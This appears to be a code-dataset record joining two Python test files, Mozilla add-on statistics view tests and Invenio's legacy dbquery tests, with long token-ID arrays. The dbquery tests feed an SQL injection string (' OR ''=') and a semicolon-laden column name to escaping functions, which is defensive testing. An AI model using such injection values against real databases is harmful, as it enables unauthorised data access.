self.assertListEqual(json.loads(r.content), [ {"count": 10, "date": "2009-09-03", "end": "2009-09-03", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-08-03", "end": "2009-08-03", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-07-03", "end": "2009-07-03", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-06-28", "end": "2009-06-28", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-06-20", "end": "2009-06-20", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-06-12", "end": "2009-06-12", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-06-07", "end": "2009-06-07", "data": {"api": 2, "search": 3}}, {"count": 10, "date": "2009-06-01", "end": "2009-06-01", "data": {"api": 2, "search": 3}} ]) def test_downloads_sources_csv(self): r = self.get_view_response('stats.sources_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count,search,api 2009-09-03,10,3,2 2009-08-03,10,3,2 2009-07-03,10,3,2 2009-06-28,10,3,2 2009-06-20,10,3,2 2009-06-12,10,3,2 2009-06-07,10,3,2 2009-06-01,10,3,2""") def test_contributions_series_json(self): r = self.get_view_response('stats.contributions_series', group='day', format='json') eq_(r.status_code, 200) self.assertListEqual(json.loads(r.content), [ { "count": 2, "date": "2009-06-02", "average": 2.49, "total": 4.98, "end": "2009-06-02" }, { "count": 1, "date": "2009-06-01", "average": 5.0, "total": 5.0, "end": "2009-06-01" } ]) def test_contributions_series_csv(self): r = self.get_view_response('stats.contributions_series', group='day', format='csv') eq_(r.status_code, 200) self.csv_eq(r, """date,count,total,average 2009-06-02,2,4.98,2.49 2009-06-01,1,5.0,5.0""") # Test the SQL query by using known dates, for weeks and months etc. class TestSiteQuery(amo.tests.TestCase): def setUp(self): super(TestSiteQuery, self).setUp() self.start = datetime.date(2012, 1, 1) self.end = datetime.date(2012, 1, 31) for k in xrange(0, 15): for name in ['addon_count_new', 'version_count_new']: date_ = self.start + datetime.timedelta(days=k) GlobalStat.objects.create(date=date_, name=name, count=k) def test_day_grouping(self): res = views._site_query('date', self.start, self.end)[0] eq_(len(res), 14) eq_(res[0]['data']['addons_created'], 14) # Make sure we are returning counts as integers, otherwise # DjangoJSONSerializer will map them to strings. eq_(type(res[0]['data']['addons_created']), int) eq_(res[0]['date'], '2012-01-15') def test_week_grouping(self): res = views._site_query('week', self.start, self.end)[0] eq_(len(res), 3) eq_(res[1]['data']['addons_created'], 70) eq_(res[1]['date'], '2012-01-08') def test_month_grouping(self): res = views._site_query('month', self.start, self.end)[0] eq_(len(res), 1) eq_(res[0]['data']['addons_created'], (14 * (14 + 1)) / 2) eq_(res[0]['date'], '2012-01-02') def test_period(self): self.assertRaises(AssertionError, views._site_query, 'not_period', self.start, self.end) @mock.patch('stats.views._site_query') class TestSite(amo.tests.TestCase): def tests_period(self, _site_query): _site_query.return_value = ['.', '.'] for period in ['date', 'week', 'month']: self.client.get(reverse('stats.site', args=['json', period])) eq_(_site_query.call_args[0][0], period) def tests_period_day(self, _site_query): _site_query.return_value = ['.', '.'] start = (datetime.date.today() - datetime.timedelta(days=3)) end = datetime.date.today() self.client.get(reverse('stats.site.new', args=['day', start.strftime('%Y%m%d'), end.strftime('%Y%m%d'), 'json'])) eq_(_site_query.call_args[0][0], 'date') eq_(_site_query.call_args[0][1], start) eq_(_site_query.call_args[0][2], end) def test_csv(self, _site_query): _site_query.return_value = [[], []] res = self.client.get(reverse('stats.site', args=['csv', 'date'])) assert res._headers['content-type'][1].startswith('text/csv') def test_json(self, _site_query): _site_query.return_value = [[], []] res = self.client.get(reverse('stats.site', args=['json', 'date'])) assert res._headers['content-type'][1].startswith('text/json') def tests_no_date(self, _site_query): _site_query.return_value = ['.', '.'] self.client.get(reverse('stats.site', args=['json', 'date'])) eq_(_site_query.call_args[0][1], datetime.date.today() - datetime.timedelta(days=365)) eq_(_site_query.call_args[0][2], datetime.date.today()) class TestCollections(amo.tests.ESTestCase): fixtures = ['bandwagon/test_models', 'base/users', 'base/addon_3615', 'base/addon_5369'] def setUp(self): super(TestCollections, self).setUp() self.today = datetime.date.today() self.collection = Collection.objects.get(pk=512) self.url = reverse('stats.collection', args=[self.collection.uuid, 'json']) for x in xrange(1, 4): data = {'date': self.today - datetime.timedelta(days=x - 1), 'id': int(self.collection.pk), 'count': x, 'data': search.es_dict({'subscribers': x, 'votes_up': x, 'votes_down': x, 'downloads': x})} CollectionCount.index(data, id='%s-%s' % (x, self.collection.pk)) self.refresh('stats') def tests_collection_anon(self): res = self.client.get(self.url) eq_(res.status_code, 403) def tests_collection_user(self): self.client.login(username='admin@mozilla.com', password='password') res = self.client.get(self.url) eq_(res.status_code, 200) def tests_collection_admin(self): self.client.login(username='admin@mozilla.com', password='password') self.collection.update(author=None) res = self.client.get(self.url) eq_(res.status_code, 200) def test_collection_json(self): self.client.login(username='admin@mozilla.com', password='password') res = self.client.get(self.url) content = json.loads(res.content) eq_(len(content), 3) eq_(content[0]['count'], 1) eq_(content[0]['data']['votes_down'], 1) eq_(content[0]['data']['downloads'], 1) def test_collection_csv(self): self.client.login(username='admin@mozilla.com', password='password') self.url = reverse('stats.collection', args=[self.collection.uuid, 'csv']) res = self.client.get(self.url) date = (self.today.strftime('%Y-%m-%d')) assert '%s,1,1,1,1,1' % date in res.content def get_url(self, start, end): return reverse('collections.stats.subscribers_series', args=[self.collection.author.username, self.collection.slug, 'day', start.strftime('%Y%m%d'), end.strftime('%Y%m%d'), 'json']) def test_collection_one_day(self): self.client.login(username='admin@mozilla.com', password='password') url = self.get_url(self.today, self.today) res = self.client.get(url) content = json.loads(res.content) eq_(len(content), 1) eq_(content[0]['date'], self.today.strftime('%Y-%m-%d')) def test_collection_range(self): self.client.login(username='admin@mozilla.com', password='password') yesterday = self.today - datetime.timedelta(days=1) day_before = self.today - datetime.timedelta(days=2) url = self.get_url(day_before, yesterday) res = self.client.get(url) content = json.loads(res.content) eq_(len(content), 2) eq_(content[0]['date'], yesterday.strftime('%Y-%m-%d')) eq_(content[1]['date'], day_before.strftime('%Y-%m-%d')) class TestXssOnAddonName(amo.tests.TestXss): def test_stats_page(self): url = reverse('stats.overview', args=[self.addon.slug]) self.assertNameAndNoXSS(url)
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 7392, 199, 646, 2197, 199, 646, 2022, 199, 199, 646, 1683, 199, 504, 11354, 14, 2537, 492, 3850, 63, 199, 504, 1134, 1131, 492, 1611, 3227, 465, 29158, 199, 199, 646, 30235, 14, 2219, 199, 504, 30235, 14, 16522, 492, 3837, 199, 504, 2879, 14, 992, 492, 5611, 12, 5611, 1899, 199, 504, 21293, 14, 992, 492, 29366, 199, 504, 10981, 30412, 265, 14, 992, 492, 18003, 199, 504, 5020, 492, 6858, 12, 6527, 199, 504, 5020, 492, 2754, 199, 504, 5020, 14, 992, 492, 334, 7768, 2353, 12, 17955, 2353, 12, 13641, 11232, 12, 2079, 23978, 1899, 2353, 12, 6162, 2353, 9, 199, 504, 4390, 14, 992, 492, 19037, 421, 199, 533, 29062, 774, 8, 4393, 14, 2219, 14, 1746, 304, 272, 15188, 275, 788, 3200, 15, 396, 63, 4196, 14, 1001, 297, 283, 3200, 15, 396, 63, 992, 14, 1001, 418, 339, 347, 3613, 8, 277, 304, 267, 408, 8555, 2005, 23255, 5343, 4243, 1041, 267, 1613, 8, 8257, 774, 12, 291, 680, 5996, 342, 267, 327, 3758, 1166, 63, 589, 370, 376, 13553, 436, 1425, 543, 666, 14, 267, 291, 14, 633, 63, 589, 275, 791, 928, 356, 283, 8664, 1690, 614, 297, 283, 500, 356, 283, 8664, 1643, 1216, 297, 283, 9291, 63, 344, 356, 841, 93, 267, 291, 14, 633, 63, 589, 63, 7915, 275, 791, 928, 356, 283, 8664, 1690, 614, 297, 283, 500, 356, 283, 8664, 1643, 1216, 297, 3044, 283, 9291, 63, 344, 356, 1227, 93, 267, 327, 17536, 2295, 2793, 1133, 10296, 3595, 3443, 14, 267, 291, 14, 2886, 63, 305, 63, 2113, 342, 339, 347, 4676, 63, 305, 63, 2113, 8, 277, 304, 267, 291, 14, 1258, 14, 11646, 342, 267, 291, 14, 1258, 14, 2886, 8, 2473, 534, 26257, 2548, 72, 32, 12102, 14, 957, 297, 2505, 534, 2060, 358, 339, 347, 4676, 63, 305, 63, 19863, 8, 277, 304, 267, 291, 14, 1258, 14, 11646, 342, 267, 291, 14, 1258, 14, 2886, 8, 2473, 534, 889, 66, 364, 588, 910, 279, 32, 12102, 14, 957, 297, 2079, 2505, 534, 2060, 358, 339, 347, 664, 63, 1345, 63, 1310, 8, 277, 12, 2455, 12, 1011, 958, 304, 267, 2455, 63, 589, 275, 291, 14, 633, 63, 589, 14, 1574, 342, 267, 4854, 275, 2074, 14, 1935, 360, 2993, 297, 756, 9, 267, 2455, 63, 589, 14, 873, 8, 958, 9, 267, 1166, 275, 3837, 8, 1345, 12, 2074, 29, 1345, 63, 589, 9, 267, 340, 4854, 26, 288, 372, 291, 14, 1258, 14, 2993, 8, 633, 12, 2035, 29, 549, 9, 267, 372, 291, 14, 1258, 14, 362, 8, 633, 12, 2035, 29, 549, 9, 339, 347, 6858, 63, 2268, 8, 277, 12, 1011, 958, 304, 267, 327, 2863, 663, 402, 6858, 267, 367, 6779, 315, 6858, 14, 3279, 2563, 26, 288, 367, 1572, 315, 6858, 14, 3279, 2563, 63, 27544, 26, 355, 2455, 275, 283, 3200, 4111, 83, 63, 5602, 7, 450, 6779, 355, 1249, 275, 2074, 14, 1574, 342, 355, 1249, 459, 923, 418, 275, 1572, 355, 1995, 334, 1345, 12, 1249, 9, 339, 347, 4575, 63, 4196, 63, 2268, 8, 277, 12, 1011, 958, 304, 267, 327, 1006, 6858, 787, 18994, 4575, 12, 871, 367, 406, 26675, 267, 367, 2455, 12, 1249, 315, 291, 14, 4196, 63, 2268, 3682, 958, 304, 288, 340, 440, 2455, 14, 2460, 360, 3200, 14, 388, 26675, 735, 355, 1995, 334, 1345, 12, 1249, 9, 339, 347, 5726, 63, 4196, 63, 2268, 8, 277, 12, 1011, 958, 304, 267, 327, 1454, 406, 26675, 6858, 787, 3544, 5726, 267, 367, 2455, 12, 1249, 315, 291, 14, 4196, 63, 2268, 3682, 958, 304, 288, 340, 2455, 14, 2460, 360, 3200, 14, 388, 26675, 735, 355, 1995, 334, 1345, 12, 1249, 9, 339, 347, 485, 1074, 63, 390, 8, 277, 12, 6858, 12, 2004, 304, 267, 367, 2455, 12, 2074, 315, 6858, 26, 288, 1177, 275, 291, 14, 362, 63, 1345, 63, 1310, 8, 1345, 12, 4854, 29, 549, 12, 1011, 958, 9, 288, 3850, 2531, 1310, 14, 1205, 63, 600, 12, 2004, 12, 355, 283, 8953, 1455, 2004, 367, 450, 83, 14, 4788, 450, 83, 14, 1420, 450, 83, 7, 450, 334, 490, 2455, 12, 1177, 14, 1205, 63, 600, 12, 2004, 430, 421, 199, 533, 1379, 1358, 15023, 1123, 4654, 8, 8257, 774, 304, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 1358, 15023, 1123, 4654, 12, 291, 680, 5996, 342, 267, 29366, 14, 1462, 14, 362, 8, 2051, 29, 20, 680, 873, 8, 374, 63, 15023, 29, 797, 9, 339, 347, 511, 63, 889, 63, 3200, 63, 509, 63, 324, 15023, 63, 9291, 8, 277, 304, 267, 408, 2422, 314, 6858, 367, 314, 5020, 372, 7901, 367, 625, 15023, 21293, 1041, 267, 291, 14, 2886, 63, 305, 63, 19863, 342, 398, 291, 423, 1074, 63, 390, 8, 277, 14, 3455, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 7901, 9, 267, 291, 423, 1074, 63, 390, 8, 277, 14, 4239, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 7901, 9, 339, 347, 511, 63, 3200, 63, 509, 63, 324, 15023, 63, 9291, 63, 4597, 8, 277, 304, 267, 408, 2422, 314, 6858, 367, 314, 5020, 372, 7901, 367, 625, 15023, 21293, 5771, 1041, 267, 291, 14, 2886, 63, 305, 63, 2113, 342, 398, 291, 423, 1074, 63, 390, 8, 277, 14, 3455, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 1926, 9, 267, 291, 423, 1074, 63, 390, 8, 277, 14, 4239, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 1926, 9, 421, 199, 533, 10427, 8257, 774, 8, 8257, 774, 12, 30235, 14, 2219, 14, 654, 1746, 304, 272, 408, 774, 1021, 543, 2005, 10427, 3272, 1041, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 654, 8257, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 1667, 63, 1080, 360, 3200, 358, 267, 291, 14, 1080, 342, 339, 347, 1478, 8, 277, 304, 267, 7029, 275, 6162, 2353, 14, 1462, 14, 1459, 63, 513, 360, 344, 297, 6829, 29, 549, 9, 267, 6527, 14, 1080, 63, 873, 63, 6851, 8, 513, 8, 7618, 430, 267, 28242, 275 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 646, 7392, 199, 646, 2197, 199, 646, 2022, 199, 199, 646, 1683, 199, 504, 11354, 14, 2537, 492, 3850, 63, 199, 504, 1134, 1131, 492, 1611, 3227, 465, 29158, 199, 199, 646, 30235, 14, 2219, 199, 504, 30235, 14, 16522, 492, 3837, 199, 504, 2879, 14, 992, 492, 5611, 12, 5611, 1899, 199, 504, 21293, 14, 992, 492, 29366, 199, 504, 10981, 30412, 265, 14, 992, 492, 18003, 199, 504, 5020, 492, 6858, 12, 6527, 199, 504, 5020, 492, 2754, 199, 504, 5020, 14, 992, 492, 334, 7768, 2353, 12, 17955, 2353, 12, 13641, 11232, 12, 2079, 23978, 1899, 2353, 12, 6162, 2353, 9, 199, 504, 4390, 14, 992, 492, 19037, 421, 199, 533, 29062, 774, 8, 4393, 14, 2219, 14, 1746, 304, 272, 15188, 275, 788, 3200, 15, 396, 63, 4196, 14, 1001, 297, 283, 3200, 15, 396, 63, 992, 14, 1001, 418, 339, 347, 3613, 8, 277, 304, 267, 408, 8555, 2005, 23255, 5343, 4243, 1041, 267, 1613, 8, 8257, 774, 12, 291, 680, 5996, 342, 267, 327, 3758, 1166, 63, 589, 370, 376, 13553, 436, 1425, 543, 666, 14, 267, 291, 14, 633, 63, 589, 275, 791, 928, 356, 283, 8664, 1690, 614, 297, 283, 500, 356, 283, 8664, 1643, 1216, 297, 283, 9291, 63, 344, 356, 841, 93, 267, 291, 14, 633, 63, 589, 63, 7915, 275, 791, 928, 356, 283, 8664, 1690, 614, 297, 283, 500, 356, 283, 8664, 1643, 1216, 297, 3044, 283, 9291, 63, 344, 356, 1227, 93, 267, 327, 17536, 2295, 2793, 1133, 10296, 3595, 3443, 14, 267, 291, 14, 2886, 63, 305, 63, 2113, 342, 339, 347, 4676, 63, 305, 63, 2113, 8, 277, 304, 267, 291, 14, 1258, 14, 11646, 342, 267, 291, 14, 1258, 14, 2886, 8, 2473, 534, 26257, 2548, 72, 32, 12102, 14, 957, 297, 2505, 534, 2060, 358, 339, 347, 4676, 63, 305, 63, 19863, 8, 277, 304, 267, 291, 14, 1258, 14, 11646, 342, 267, 291, 14, 1258, 14, 2886, 8, 2473, 534, 889, 66, 364, 588, 910, 279, 32, 12102, 14, 957, 297, 2079, 2505, 534, 2060, 358, 339, 347, 664, 63, 1345, 63, 1310, 8, 277, 12, 2455, 12, 1011, 958, 304, 267, 2455, 63, 589, 275, 291, 14, 633, 63, 589, 14, 1574, 342, 267, 4854, 275, 2074, 14, 1935, 360, 2993, 297, 756, 9, 267, 2455, 63, 589, 14, 873, 8, 958, 9, 267, 1166, 275, 3837, 8, 1345, 12, 2074, 29, 1345, 63, 589, 9, 267, 340, 4854, 26, 288, 372, 291, 14, 1258, 14, 2993, 8, 633, 12, 2035, 29, 549, 9, 267, 372, 291, 14, 1258, 14, 362, 8, 633, 12, 2035, 29, 549, 9, 339, 347, 6858, 63, 2268, 8, 277, 12, 1011, 958, 304, 267, 327, 2863, 663, 402, 6858, 267, 367, 6779, 315, 6858, 14, 3279, 2563, 26, 288, 367, 1572, 315, 6858, 14, 3279, 2563, 63, 27544, 26, 355, 2455, 275, 283, 3200, 4111, 83, 63, 5602, 7, 450, 6779, 355, 1249, 275, 2074, 14, 1574, 342, 355, 1249, 459, 923, 418, 275, 1572, 355, 1995, 334, 1345, 12, 1249, 9, 339, 347, 4575, 63, 4196, 63, 2268, 8, 277, 12, 1011, 958, 304, 267, 327, 1006, 6858, 787, 18994, 4575, 12, 871, 367, 406, 26675, 267, 367, 2455, 12, 1249, 315, 291, 14, 4196, 63, 2268, 3682, 958, 304, 288, 340, 440, 2455, 14, 2460, 360, 3200, 14, 388, 26675, 735, 355, 1995, 334, 1345, 12, 1249, 9, 339, 347, 5726, 63, 4196, 63, 2268, 8, 277, 12, 1011, 958, 304, 267, 327, 1454, 406, 26675, 6858, 787, 3544, 5726, 267, 367, 2455, 12, 1249, 315, 291, 14, 4196, 63, 2268, 3682, 958, 304, 288, 340, 2455, 14, 2460, 360, 3200, 14, 388, 26675, 735, 355, 1995, 334, 1345, 12, 1249, 9, 339, 347, 485, 1074, 63, 390, 8, 277, 12, 6858, 12, 2004, 304, 267, 367, 2455, 12, 2074, 315, 6858, 26, 288, 1177, 275, 291, 14, 362, 63, 1345, 63, 1310, 8, 1345, 12, 4854, 29, 549, 12, 1011, 958, 9, 288, 3850, 2531, 1310, 14, 1205, 63, 600, 12, 2004, 12, 355, 283, 8953, 1455, 2004, 367, 450, 83, 14, 4788, 450, 83, 14, 1420, 450, 83, 7, 450, 334, 490, 2455, 12, 1177, 14, 1205, 63, 600, 12, 2004, 430, 421, 199, 533, 1379, 1358, 15023, 1123, 4654, 8, 8257, 774, 304, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 1358, 15023, 1123, 4654, 12, 291, 680, 5996, 342, 267, 29366, 14, 1462, 14, 362, 8, 2051, 29, 20, 680, 873, 8, 374, 63, 15023, 29, 797, 9, 339, 347, 511, 63, 889, 63, 3200, 63, 509, 63, 324, 15023, 63, 9291, 8, 277, 304, 267, 408, 2422, 314, 6858, 367, 314, 5020, 372, 7901, 367, 625, 15023, 21293, 1041, 267, 291, 14, 2886, 63, 305, 63, 19863, 342, 398, 291, 423, 1074, 63, 390, 8, 277, 14, 3455, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 7901, 9, 267, 291, 423, 1074, 63, 390, 8, 277, 14, 4239, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 7901, 9, 339, 347, 511, 63, 3200, 63, 509, 63, 324, 15023, 63, 9291, 63, 4597, 8, 277, 304, 267, 408, 2422, 314, 6858, 367, 314, 5020, 372, 7901, 367, 625, 15023, 21293, 5771, 1041, 267, 291, 14, 2886, 63, 305, 63, 2113, 342, 398, 291, 423, 1074, 63, 390, 8, 277, 14, 3455, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 1926, 9, 267, 291, 423, 1074, 63, 390, 8, 277, 14, 4239, 63, 4196, 63, 2268, 8, 908, 534, 1001, 659, 1926, 9, 421, 199, 533, 10427, 8257, 774, 8, 8257, 774, 12, 30235, 14, 2219, 14, 654, 1746, 304, 272, 408, 774, 1021, 543, 2005, 10427, 3272, 1041, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 654, 8257, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 1667, 63, 1080, 360, 3200, 358, 267, 291, 14, 1080, 342, 339, 347, 1478, 8, 277, 304, 267, 7029, 275, 6162, 2353, 14, 1462, 14, 1459, 63, 513, 360, 344, 297, 6829, 29, 549, 9, 267, 6527, 14, 1080, 63, 873, 63, 6851, 8, 513, 8, 7618, 430, 267, 28242, 275, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
jirikuncar/invenio
invenio/testsuite/test_legacy_dbquery.py
12
5134
# -*- coding: utf-8 -*- # # This file is part of Invenio. # Copyright (C) 2006, 2007, 2008, 2010, 2011, 2013, 2015 CERN. # # Invenio is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # Invenio is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Invenio; if not, write to the Free Software Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. """Unit tests for dbquery library.""" __revision__ = "$Id$" from invenio.base.wrappers import lazy_import from invenio.testsuite import make_test_suite, run_test_suite, InvenioTestCase dbquery = lazy_import('invenio.legacy.dbquery') class TableUpdateTimesTest(InvenioTestCase): """Test functions related to the update_times of MySQL tables.""" def _check_table_update_time(self, tablename): """Helper function to check update time of TABLENAME.""" from invenio.base.globals import cfg # detect MySQL version number: res = dbquery.run_sql("SELECT VERSION()") mysql_server_version = res[0][0] if mysql_server_version.startswith("5."): # MySQL-5 provides INFORMATION_SCHEMA: query = """SELECT UPDATE_TIME FROM INFORMATION_SCHEMA.TABLES WHERE table_name='%s' AND table_schema='%s'""" \ % (tablename, cfg['CFG_DATABASE_NAME']) tablename_update_time = str(dbquery.run_sql(query)[0][0]) elif mysql_server_version.startswith("4.1"): # MySQL-4.1 has it on 12th position: query = """SHOW TABLE STATUS LIKE '%s'""" % tablename tablename_update_time = str(dbquery.run_sql(query)[0][12]) elif mysql_server_version.startswith("4.0"): # MySQL-4.0 has it on 11th position: query = """SHOW TABLE STATUS LIKE '%s'""" % tablename tablename_update_time = str(dbquery.run_sql(query)[0][11]) else: tablename_update_time = "MYSQL SERVER VERSION NOT DETECTED" # compare it with the one detected by the function: self.assertEqual(tablename_update_time, dbquery.get_table_update_time(tablename)) def test_single_table_update_time(self): """dbquery - single table (with indexes) update time detection""" # NOTE: this tests usual "long" branch of # get_table_update_time() self._check_table_update_time("collection") def test_empty_table_update_time(self): """dbquery - empty table (no indexes) update time detection""" # NOTE: this tests unusual "None" branch of # get_table_update_time() # create empty test table test_table = "tmpTESTTABLE123" dbquery.run_sql("CREATE TABLE IF NOT EXISTS %s (a INT)" % test_table) # run the test: self._check_table_update_time(test_table) # drop empty test table dbquery.run_sql("DROP TABLE %s" % test_table) def test_utf8_python_mysqldb_mysql_storage_chain(self): """dbquery - UTF-8 in Python<->MySQLdb<->MySQL storage chain""" # NOTE: This test test creates, uses and destroys a temporary # table called "test__invenio__utf8". beta_in_utf8 = "β" # Greek beta in UTF-8 is 0xCEB2 dbquery.run_sql("CREATE TEMPORARY TABLE test__invenio__utf8 (x char(1), y varbinary(2)) DEFAULT CHARACTER SET utf8") dbquery.run_sql("INSERT INTO test__invenio__utf8 (x, y) VALUES (%s, %s)", (beta_in_utf8, beta_in_utf8)) res = dbquery.run_sql("SELECT x,y,HEX(x),HEX(y),LENGTH(x),LENGTH(y),CHAR_LENGTH(x),CHAR_LENGTH(y) FROM test__invenio__utf8") self.assertEqual(res[0], ('\xce\xb2', '\xce\xb2', 'CEB2', 'CEB2', 2L, 2L, 1L, 2L)) dbquery.run_sql("DROP TEMPORARY TABLE test__invenio__utf8") class WashTableColumnNameTest(InvenioTestCase): """Test if wash_table_column_name and real_escape_string evaluates correctly.""" def test_wash_table_column_name(self): """dbquery - wash table column name""" testcase_error = "foo ; bar" testcase_ok = "foo_bar" self.assertRaises(Exception, dbquery.wash_table_column_name, testcase_error) self.assertEqual(testcase_ok, dbquery.wash_table_column_name(testcase_ok)) def test_real_escape_string(self): """dbquery - real escape string""" testcase_ok = "Programmer" testcase_injection = "' OR ''='" self.assertEqual(dbquery.real_escape_string(testcase_ok), testcase_ok) self.assertNotEqual(dbquery.real_escape_string(testcase_injection), testcase_injection) TEST_SUITE = make_test_suite(TableUpdateTimesTest, WashTableColumnNameTest) if __name__ == "__main__": run_test_suite(TEST_SUITE)
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 12235, 14, 199, 3, 1898, 334, 35, 9, 8315, 12, 10219, 12, 9079, 12, 7129, 12, 7760, 12, 6171, 12, 6900, 24354, 14, 199, 3, 199, 3, 12235, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 12235, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 1325, 199, 3, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 12235, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 2752, 12, 3277, 2020, 199, 3, 8155, 15630, 10902, 12, 14453, 13540, 12, 8226, 12, 4828, 15673, 13, 13421, 12, 8217, 14, 199, 199, 624, 5072, 2295, 367, 1592, 1131, 3555, 1041, 199, 199, 363, 5792, 363, 275, 7880, 1304, 17351, 199, 199, 504, 13640, 14, 1095, 14, 21148, 492, 9617, 63, 646, 199, 504, 13640, 14, 14239, 492, 1852, 63, 396, 63, 5768, 12, 1255, 63, 396, 63, 5768, 12, 12235, 1746, 199, 199, 697, 1131, 275, 9617, 63, 646, 360, 30628, 14, 10000, 14, 697, 1131, 358, 421, 199, 533, 6957, 4152, 17687, 774, 8, 607, 7597, 1746, 304, 272, 408, 774, 3423, 4048, 370, 314, 1678, 63, 4508, 402, 11200, 6716, 1041, 339, 347, 485, 1074, 63, 1224, 63, 873, 63, 521, 8, 277, 12, 20283, 304, 267, 408, 4433, 805, 370, 1104, 1678, 900, 402, 17916, 5304, 1991, 1041, 267, 687, 13640, 14, 1095, 14, 8473, 492, 4810, 267, 327, 9696, 11200, 1015, 1329, 26, 267, 522, 275, 1592, 1131, 14, 1065, 63, 3009, 480, 4859, 15945, 16060, 267, 12896, 63, 1000, 63, 1023, 275, 522, 59, 16, 1527, 16, 61, 267, 340, 12896, 63, 1000, 63, 1023, 14, 2460, 480, 21, 30946, 288, 327, 11200, 13, 21, 6571, 1621, 18623, 63, 10926, 26, 288, 1827, 275, 408, 4859, 17148, 63, 4961, 4442, 1621, 18623, 63, 10926, 14, 10129, 11344, 717, 6038, 1817, 63, 354, 9569, 83, 7, 2401, 1817, 63, 3629, 9569, 83, 26555, 971, 717, 450, 334, 10983, 12, 4810, 459, 10118, 63, 17873, 63, 2339, 1105, 288, 20283, 63, 873, 63, 521, 275, 620, 8, 697, 1131, 14, 1065, 63, 3009, 8, 1131, 2788, 16, 1527, 16, 566, 267, 916, 12896, 63, 1000, 63, 1023, 14, 2460, 480, 20, 14, 17, 2349, 288, 327, 11200, 13, 20, 14, 17, 965, 652, 641, 3144, 273, 3421, 26, 288, 1827, 275, 408, 19085, 9934, 18460, 29369, 1543, 83, 26555, 450, 20283, 288, 20283, 63, 873, 63, 521, 275, 620, 8, 697, 1131, 14, 1065, 63, 3009, 8, 1131, 2788, 16, 1527, 713, 566, 267, 916, 12896, 63, 1000, 63, 1023, 14, 2460, 480, 20, 14, 16, 2349, 288, 327, 11200, 13, 20, 14, 16, 965, 652, 641, 4119, 273, 3421, 26, 288, 1827, 275, 408, 19085, 9934, 18460, 29369, 1543, 83, 